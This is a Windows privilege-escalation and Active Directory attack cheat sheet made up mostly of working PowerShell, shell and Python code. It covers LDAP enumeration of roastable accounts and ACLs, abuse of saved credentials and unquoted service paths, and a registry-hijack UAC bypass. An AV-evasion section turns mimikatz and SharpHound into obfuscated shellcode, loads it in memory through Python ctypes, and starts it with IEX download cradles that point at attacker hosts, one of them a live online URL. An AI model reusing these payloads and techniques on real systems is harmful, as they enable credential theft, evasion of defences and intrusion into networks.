LPE/HOSTļ
Dumb reminders
- Domain user can be member of a machine localgroup, you need to try to spread creds on differents protocols (rdp, wmi, smb, winrm, mssql ā¦)
- One user (domain or local) can probably access multiple machines
- Admins often leave creds cache on machines
- Code execution is not always the main objective, sometimes creds juste give a share access
Miscļ
# Recursively list current dir
Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Where-Object {$_.LastWriteTime -ge "01/01/2024" -and $_.LastWriteTime -le "12/25/2029"} | Select Length, FullName, LastWriteTime |Out-String -width 999
CMD.EXE /C dir /s/b *
# Recursively list Alternate Data Streams
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' # Get-Content -path C:\users\mak\demo.txt:ads.txt -stream *
# Get owner of a file or a folder
get-item "C:\Windows"| Select-Object fullname, LastAccessTime, LastWriteTime, CreationTime, @{N='Owner';E={$_.GetAccessControl().Owner}}
# Users
whoami /all
net user ; ls / -Force ; ls /users/ ; ls /users/* ; ls /users/*/* ; ls /users/*/*/*
# Groups
net localgroup "Administrators"
net localgroup ; net localgroup "Remote Management Users" ; net localgroup "Remote Desktop Users"
# Creds
cmdkey /list # Go to the creds part if any user here
# PS history
cat (Get-PSReadlineOption).HistorySavePath
ls C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# TaskScheduler logs ?????? (last 10 events)
CMD.EXE /C wevtutil.exe qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:10
# PowerShell Script Block Logging (just list events by user)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 } | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, MachineName, LevelDisplayName | Sort-Object -Property RecordId|Format-Table -AutoSize|Out-String -width 999
# PowerShell Script Block Logging (print all messages)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 } | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, LevelDisplayName, MachineName, Message | Sort-Object -Property RecordId
# Search for files
Get-ChildItem -Include proof.txt, local.txt, *.kdbx -Path / -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue
# Listening ports
netstat -aon
Get-NetTCPConnection -State Listen | select LocalPort, LocalAddress, OwningProcess | Sort-Object LocalPort | ConvertTo-Csv
# Process
[System.Diagnostics.Process]::GetCurrentProcess()|select * # Current process info
[System.Diagnostics.Process]::GetProcesses()|where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ID,SI,Path|Format-Table -AutoSize|Out-String -width 9999
Get-WmiObject Win32_Process | where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ExecutablePath,@{Label="Owner";Expression={$_.GetOwner().User}},Handle,CommandLine|Format-Table -AutoSize|Out-String -width 9999
# Softs
ls /program*/*
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-WmiObject -Class Win32_Product | select Vendor,Name,Version |Format-Table|Out-String -width 9999
# Tasks
CMD /C "schtasks.exe /Query /FO CSV /V" | ConvertFrom-CSV | where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*|N/A|Author"}|ForEach-Object{"-"*100;$_}|Out-String -width 9999
Get-ScheduledTask|where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*"}|ForEach-Object{"-"*100;schtasks.exe /query /fo LIST /v /tn $_.URI}|Out-String -width 9999
#schtasks /create /sc minute /mo 60 /tn "TASK1" /tr "C:\test\r.exe" # /ru SYSTEM /RL HIGHEST
#schtasks /run /tn "TASK1"
#schtasks /delete /tn "TASK1" /f
# Default programs for extensions types
CMD /C Ftype # List of programs <> type
CMD /C Assoc # List of extensions <> type
Retrieve env from given process id : https://gitlab.com/charles.gargasson/divers/-/tree/master/getenv
Domain infoļ
net user johndoe /domain
net group /domain "Domain Admins"
net group /domain "Protected Users"
echo "$env:logonserver" 2>&1
Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select Name, Domain
Get-WmiObject -Class Win32_NTDomain | select DomainControllerName, DomainControllerAddress, DomainName, DnsForestName
Test-ComputerSecureChannel -Verbose # -Server "DC01.domain.com"
# Retrieve infos with LDAP queries
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$domainObj;$domainObj.DomainControllers | Foreach { Write-Host ... $_.Name ... $_.IPAddress }
$LDAP = "LDAP://" + $domainObj.PdcRoleOwner.Name + "/" + ([adsi]'').distinguishedName
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="";$ALL = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=user";$users = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=group";$groups = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=computer";$computers = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=groupPolicyContainer";$GPOs = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=domainDNS";$domainDNS = $dirsearcher.FindAll()
$dirsearcher.filter="(&(isCriticalSystemObject=TRUE))";$CriticalSystemObjects = $dirsearcher.FindAll()
# Check Machine Account Quota (if > 0 you can try to perform RBCD attack based on added computer, protected users can't be impersonated)
foreach ($obj in $domainDNS) { $quota = $obj.Properties["ms-ds-machineaccountquota"]; if ($quota -ne $Null ){ Write-Host $quota $obj.Path }}
# Print users and list groups if any, check for admincount property and read some userAccountControl flags.
# userAccountControl flags list : https://learn.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_user_flag_enum
Foreach($obj in $users)
{
$name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
$ADS_USER_FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
foreach ($FLAG in $ADS_USER_FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $ADS_USER_FLAGS[$FLAG])){ $state += " $FLAG" } }
if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
if ($name -ne $sam){ $name = "$sam --- $name" };
Write-Host "USERS# --- $name ---$state" -ForegroundColor Green
$memberof = $obj.Properties['memberof'] ; $scriptPath = $obj.Properties['scriptPath']
if ( $memberof -ne $null){ $memberof | ForEach-Object { "USERS# $_" } }
if ( $scriptPath -ne $null){ "USERS# LOGON SCRIPT: $scriptPath"}; "USERS# "
}
# Print populated groups, check for admincount property
Foreach($obj in $groups)
{
$name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $member = $obj.Properties['member']; $admincount = $obj.Properties['admincount']
if ( $admincount -ne $null ){ $admincount = "(ADMINCOUNT)" }
if ( $member -ne $null){
if ($name -ne $sam){ $name = "$sam --- $name" }
Write-Host "GROUPS# --- $name --- $admincount" -ForegroundColor Green
$member | ForEach-Object { "GROUPS# $_" } -end { "GROUPS#" }
}
}
# List computers with os version
Foreach($obj in $computers)
{
$name = $obj.Properties['dnshostname']; $state = ""
$FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
$os = $obj.Properties['operatingsystem']; $osversion = $obj.Properties['operatingsystemversion']
Write-Host "COMPUTERS# $name -- $os -- $osversion -- $state"
}
# List users SPNs (Users are Kerberoastable but you can also list others SPNs instead of users)
foreach($obj in $users)
{
$name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"];
$serviceprincipalname = $obj.Properties['serviceprincipalname']
if ($serviceprincipalname -ne $null){
if ($name -ne $sam){ $name = "$sam --- $name" }
Write-Host "SPN# --- $name --- " -ForegroundColor Green
$serviceprincipalname | ForEach-Object { "SPN# $_" } -end { "SPN#" }
}
}
# List unusual user flags (DONT_REQUIRE_PREAUTH flag means the account is AS REP Roastable)
Foreach($obj in $users)
{
$name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
$FLAGS = @{ PASSWD_NOTREQD = 0x20; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
if ( (-not [bool]($obj.Properties["userAccountControl"][0] -band 0x100000)) -and ($obj.Properties['admincount'] -ne $null)){ $state += " DELEGATED_ADMIN" } #Delegated and admin
if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
if ($name -ne $sam){ $name = "$sam --- $name" }
if ( $state -ne "" ){Write-Host "USERS# --- $name ---$state"}
}
# List unusual computer flags (if TRUSTED_FOR_DELEGATION and not a DC check for Unconstrained Delegation, and if TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION for constrained)
Foreach($obj in $computers)
{
$name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
$FLAGS = @{ ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
if ( $state -ne "" ){Write-Host "COMPUTERS# --- $sam ---$state"}
}
# List ACLs, exclude CriticalSystemObjects, exclude Inherited, filter on domain objects
$CriticalSystemObjectsSID = $CriticalSystemObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
$DomainObjects = $users + $computers + $groups + $GPOs
$DomainObjectsSID = $DomainObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
Foreach($obj in $DomainObjects)
{
$name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]
$aclList = (New-Object System.DirectoryServices.DirectoryEntry($obj.Path)).PSBase.ObjectSecurity.GetAccessRules($true, $false, [System.Security.Principal.SecurityIdentifier])
$Identities = @{}; foreach($ACL in $aclList){try{
if ( $CriticalSystemObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
if ( -Not $DomainObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
$Identity = (New-Object System.Security.Principal.SecurityIdentifier($ACL.IdentityReference)).Translate([System.Security.Principal.NTAccount]).Value
$Rights = $ACL.ActiveDirectoryRights ; $Rights = "$Rights".replace(" ","").Split(",")
if ( $Identities["$Identity"] -eq $Null ){ $Identities["$Identity"] = @($Rights) } else { $Identities["$Identity"] += $Rights }
}catch{}} ; if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
foreach ($Identity in $Identities.Keys) { Write-host "ACE# -- $sam <-- $Identity ($(($Identities.$Identity|Sort-Object -Unique) -join ", "))"}
}
# List GPOs
$GPOs | ForEach-Object { $p=$_.Properties; $r = "GPO# $($p.name) -- $($p.displayname) -- Created $($p.whencreated)"; $r = [string]::join("",($r.Split("`n"))); Write-host $r }
# List GPOs by object in domain
Foreach($obj in $ALL)
{
$gplink = $obj.Properties.gplink; if ( $gplink -eq $null ){ continue }
$gpoptions = $obj.Properties.gpoptions
$name = $obj.Properties["name"]; $desc = $obj.Properties["description"]; $dn = $obj.Properties["distinguishedname"]; $category = $obj.Properties["objectCategory"]
Write-host "GPO# -- $name -- $desc -- $dn -- $category -- gpoptions:'$gpoptions'" -ForegroundColor Green
$gplink | ForEach-Object {
$_ -match ".*({.*}).*;(\w+)"| Out-Null; $gpoid = $matches[1]; $status = $matches[2]
$statusdesc = switch($status){0{"LinkEnabled"}1{"LinkDisabled"}2{"LinkEnabled Enforced"}3{"Enforced"}}
$GPOs | ForEach-Object { if ( $_.Properties.name -eq $gpoid ){$gpodisplayname = $_.Properties.displayname}}
Write-host "GPO# GPO: $gpoid -- $status=$statusdesc -- $gpodisplayname"
} -end { "GPO#" }
}
# List SYSVOL shares files of Domain Controllers (you can search for cpassword inside files)
foreach ($Server in $domainObj.DomainControllers.Name){
$c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
Get-ChildItem "\\$Server\SYSVOL\$($domainObj.Name)" -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
}
# List Shares (test 445 for each computer with 300ms timeout, list shares and check if readable/writable)
foreach ($Server in $computers.Properties.dnshostname){
$c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
(net view $Server /all)|foreach{$infos=convertfrom-string $_.trim() -delim '\s{2,}' -propertynames 'Share','Type','UsedAs','Comment';
if($infos.Type -eq 'Disk'){$shareName=$infos.Share;$state="";
if([System.IO.Directory]::Exists("\\$Server\$shareName")){$state+="R"}else{$state+="-"}
$f="\\$Server\$shareName\testwritable";Try{[io.file]::OpenWrite($f).close();Remove-Item $f;$state+="W"}Catch{$state+="-"}
Write-Host " $state \\$Server\$shareName ## $($infos.UsedAs) $($infos.Comment)"}}
}
In-Memory SharpHound (You need loadsc script from AV section, and embeddable 32bits python)
sudo wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -O /var/www/html/SharpHound.exe
PARAMS='-c All'
INPUT_FILE='/var/www/html/SharpHound.exe'
SHELLCODE_OUTPUT_FILE='/tmp/SharpHoundsc'
ENCODED_PAYLOAD_FILE='/var/www/html/SharpHound'
python3 -c "import donut; donut.create(thread=1,compress=2,bypass=1,exit_opt=1,arch=1,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null
cat <<'EOF'|sudo tee /var/www/html/startSharpHound
$loadsc="$web/loadsc"; $sc="$web/SharpHound"; $python="$web/python32.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python32\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python32.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python32.zip", "$dir\python32\")};
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python32\python.exe" -ArgumentList $arguments
EOF
$web="http://192.168.1.123";IEX(New-Object Net.WebClient).downloadString("$web/startSharpHound")
Credsļ
SavedCredsļ
Start process as another user with runas (https://juggernaut-sec.com/runas/)
You probably need a GUI interface (rdp)
# Check for saved creds
cmdkey /list
# Usage
runas /user:DOMAIN\Administrator /savecred "cmd.exe /c whoami > c:\whoami.txt"
runas /user:DOMAIN\Administrator /savecred "c:\reverse\payload.exe"
# Search for other dpapi keys
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*" -ErrorAction SilentlyContinue
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*\*" -ErrorAction SilentlyContinue
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\credentials\*" -ErrorAction SilentlyContinue
RunASļ
RunasCs āis an improved and open version of windows builtin runas.exe that solves some limitationsā
wget 1.2.3.4/RunasCs.exe -O RunasCs.exe
./RunasCs.exe user 'password' -d "domain" "whoami /all"
Powershell can use credentials as well
# powershell -ep bypass
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$cmd = '-c "whoami /all"'
$shell = 'POWERSHELL.EXE'
$domain = hostname # Modify if any or distant machine name
$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)
# No output
# Start-Process -FilePath $shell -Credential $cred -ArgumentList $cmd
# or retrieve stdout & stderr
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = $shell
$pinfo.UserName = $user
$pinfo.Domain = $domain
$pinfo.Password = ConvertTo-SecureString $pass -AsPlaintext -Force
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.CreateNoWindow = $true
$pinfo.Arguments = $cmd
$pinfo.WorkingDirectory = 'C:\'
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
$p.WaitForExit()
Write-Host "stdout: $stdout"
Write-Host "stderr: $stderr"
Write-Host "exit code: " + $p.ExitCode
WinRMļ
Start process as another user with WinRM protocol (localhost or remote target)
User must be part of āRemote Management Usersā group
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$domain = hostname # Modify if !self
$machine = hostname # Modify if !self
Test-WsMan $machine # Test is WINRM service is available
$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)
$session = New-PSSession -ComputerName $machine -Credential $cred
Get-PSSession # List sessions
Enter-PSSession -session $session # Interactive PS session (PS commands only)
# Invoke-Command -session $session -scriptblock { whoami /all }
# Invoke-Command -session $session -scriptblock { powershell -c "ls" }
# Exit-PSSession
# exit 0
# Remove-PSSession $session
Servicesļ
# List services
Get-CimInstance -ClassName win32_service|Select Name,State,StartMode,StartName,PathName|Format-Table|Out-String -width 999|findstr /i /v /c:"\Windows" /c:"\Microsoft"
# If you don't have rights you can play with registry
$d='c:\services\';mkdir $d;(Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services')|ForEach-Object{if($_.Property -match 'ImagePath'){$f=$d+$_.PSChildName;($_|Out-String)-split[Environment]::NewLine|Select-String -Pattern '^.*\s([a-z]+\s+\: .*)$'|ForEach-Object{$_.matches.groups[1].Value}|Out-File $f}};Get-ChildItem $d
# Retrieve infos about service
sc.exe qc "MyService"
sc.exe query "MyService"
$svc="MyService";$r=sc.exe sdshow $svc;$r=ConvertFrom-SddlString "$r";%{$r.DiscretionaryAcl-replace": AccessAllowed \(|, |\)","`n`t"} # Permissions
check for unquoted path :
If you see unquoted path : C:\dir\a b\c.exe instead of āC:\dir\a b\c.exeā
The system will try C:\dir\a.exe path first before āC:\dir\a b\c.exeā
If C:\dir\ is writable then you can add your payload at C:\dir\a.exe
(BTW folders created into C:\ have extended rights by default)
# Check if "C:\dir\" is writable, F (full access), AD (append data/add subdirectory), WD (write data/add file)
icacls "C:\dir\"
Put a payload at āC:\dir\a.exeā
Then start the service
# Start service
sc.exe start "MyService"
DLL Hijaking : https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking
Look for dll you can replace (existing or missing ones)
Export the service PE file to your machine for investigation.
You can dynamically search for missing DLL with procmon, or statically search for DLL names into text section with rz-bin
rz-bin -zzz /tmp/share/myservice.exe | grep -i dll
UACļ
Checksļ
UAC bypass will elevate from MEDIUM integrity level to HIGH
You can check your integrity level with whoami /groups
For example if you are member of āMandatory LabelMedium Mandatory Levelā group you are in a medium integrity process
You can also check the SID number instead of the name
CMD.EXE /C whoami /groups|Select-String -Pattern '^.*S-1-16-([0-9]*).*$'|%{Switch($_.matches.groups[1]){0{"UNTRUSTED"}4096{"LOW"}8192{"MEDIUM"}8448{"MEDIUMPLUS"}12288{"HIGH"}16384{"SYSTEM"}20480{"PROTECTEDPROCESS"}}}
Then, check UAC status:
# 0x1 = UAC Enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
# UAC mode : 5=default will prompt to confirm, 0 = Disabled, 1=Ask for password
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
# If set, disable UAC for: 0=RID500, 1=Administrators members
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy
# If 0 (default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken
If UAC doenāt affect you, then you can already run as admin
mkdir c:\r ; wget 10.10.14.121/r.exe -O C:\r\r.exe
Start-Process powershell -Verb runAs "c:\r\r.exe"
Bypassļ
Use case:
You are into the administrators group but your session is in medium level integrity
You want to open an admin terminal or run a command as admin (High integrity)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "c:\r\r.exe" /f
mkdir c:\r ; wget 10.10.14.121/r.exe -O C:\r\r.exe ; CMD.EXE /C start computerdefaults.exe
AV Bypassļ
Requirements:
- Web server (to host payloads)
- Connectivity between your target and your web server
- /var/www/html/python.zip (pick a stable version from https://www.python.org/downloads/windows/)
Installing donut package (transform exe to shellcode)
pip3 install -U donut-shellcode --break-system-packages
This python function load encoded shellcode payload from url and load it in-memory heap
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadsc >/dev/null
import ctypes, ctypes.wintypes as wt
import gzip, io, urllib.request as r, platform as p
def load(url):
print(f"[*] Given URL : {url}", flush=True)
kernel32 = ctypes.windll.kernel32
buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
lenbuff = len(buff)
HeapCreate = kernel32.HeapCreate
HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t]
HeapCreate.restype = wt.HANDLE
heap = HeapCreate(0x00040000, lenbuff, 0)
HeapAlloc = kernel32.HeapAlloc
HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t]
HeapAlloc.restype = wt.LPVOID
HeapAlloc(heap, 0x00000008, lenbuff)
RtlMoveMemory = kernel32.RtlMoveMemory
RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t]
RtlMoveMemory.restype = wt.LPVOID
RtlMoveMemory(heap, buff, lenbuff); del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
CreateThread = kernel32.CreateThread
CreateThread.argtypes = [wt.LPVOID, ctypes.c_size_t, wt.LPVOID,wt.LPVOID, wt.DWORD, wt.LPVOID]
CreateThread.restype = wt.HANDLE
Thread = CreateThread(0, 0, heap, 0, 0, 0)
WaitForSingleObject = kernel32.WaitForSingleObject
WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
WaitForSingleObject.restype = wt.DWORD
WaitForSingleObject(Thread, 0xFFFFFFFF); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF
This python function load encoded shellcode payload from url and load it in-memory with VirtualAlloc
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadscva >/dev/null
import ctypes as c, gzip, io, urllib.request as r, platform as p
def load(url):
print(f"[*] Given URL : {url}", flush=True)
k32 = c.windll.kernel32 ; k32.VirtualAlloc.restype = c.c_void_p
ct = k32.CreateThread ; ct.argtypes = ( c.c_int, c.c_int, c.c_void_p, c.c_int, c.c_int, c.POINTER(c.c_int) ) ; ct.restype = c.c_void_p
buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
lenbuff = len(buff) ; space = k32.VirtualAlloc(c.c_int(0),c.c_int(lenbuff),c.c_int(0x3000),c.c_int(0x40)) ; buff = ( c.c_char * lenbuff ).from_buffer_copy( buff )
k32.RtlMoveMemory(c.c_void_p(space),buff,c.c_int(lenbuff)) ; buff = "" ; del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
handle = ct(c.c_int(0),c.c_int(0),c.c_void_p(space),c.c_int(0),c.c_int(0),c.pointer(c.c_int(0)))
k32.WaitForSingleObject(handle, -1); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF
For demonstration we will use mimikatz as payload
# Set any parameter you want but if empty donut will send args to stdin at runtime (you can set it to space " " if you don't want any)
# PARAMS='privilege::debug sekurlsa::logonpasswords'
PARAMS=' '
INPUT_FILE='/var/www/html/mimikatz64.exe'
SHELLCODE_OUTPUT_FILE='/tmp/mimikatz64sc'
ENCODED_PAYLOAD_FILE='/var/www/html/mimi64'
python3 -c "import donut; donut.create(thread=0,compress=2,bypass=1,exit_opt=3,arch=2,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null
# test : msfvenom -p windows/x64/exec CMD="calc.exe" -f raw | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/sc >/dev/null
Powershell script to call python
cat <<'EOF'|sudo tee /var/www/html/startmimi64
$loadsc="$web/loadsc"; $sc="$web/mimi64"; $python="$web/python.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
&$dir\python\python.exe -c "import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')";
EOF
# &$env:TEMP\python\python.exe -c "print('test')"
$web="http://1.2.3.4";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")
# ONLINE TEST for heap method (educational purpose only)
$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")
# ONLINE TEST for VirtualAlloc method (educational purpose only)
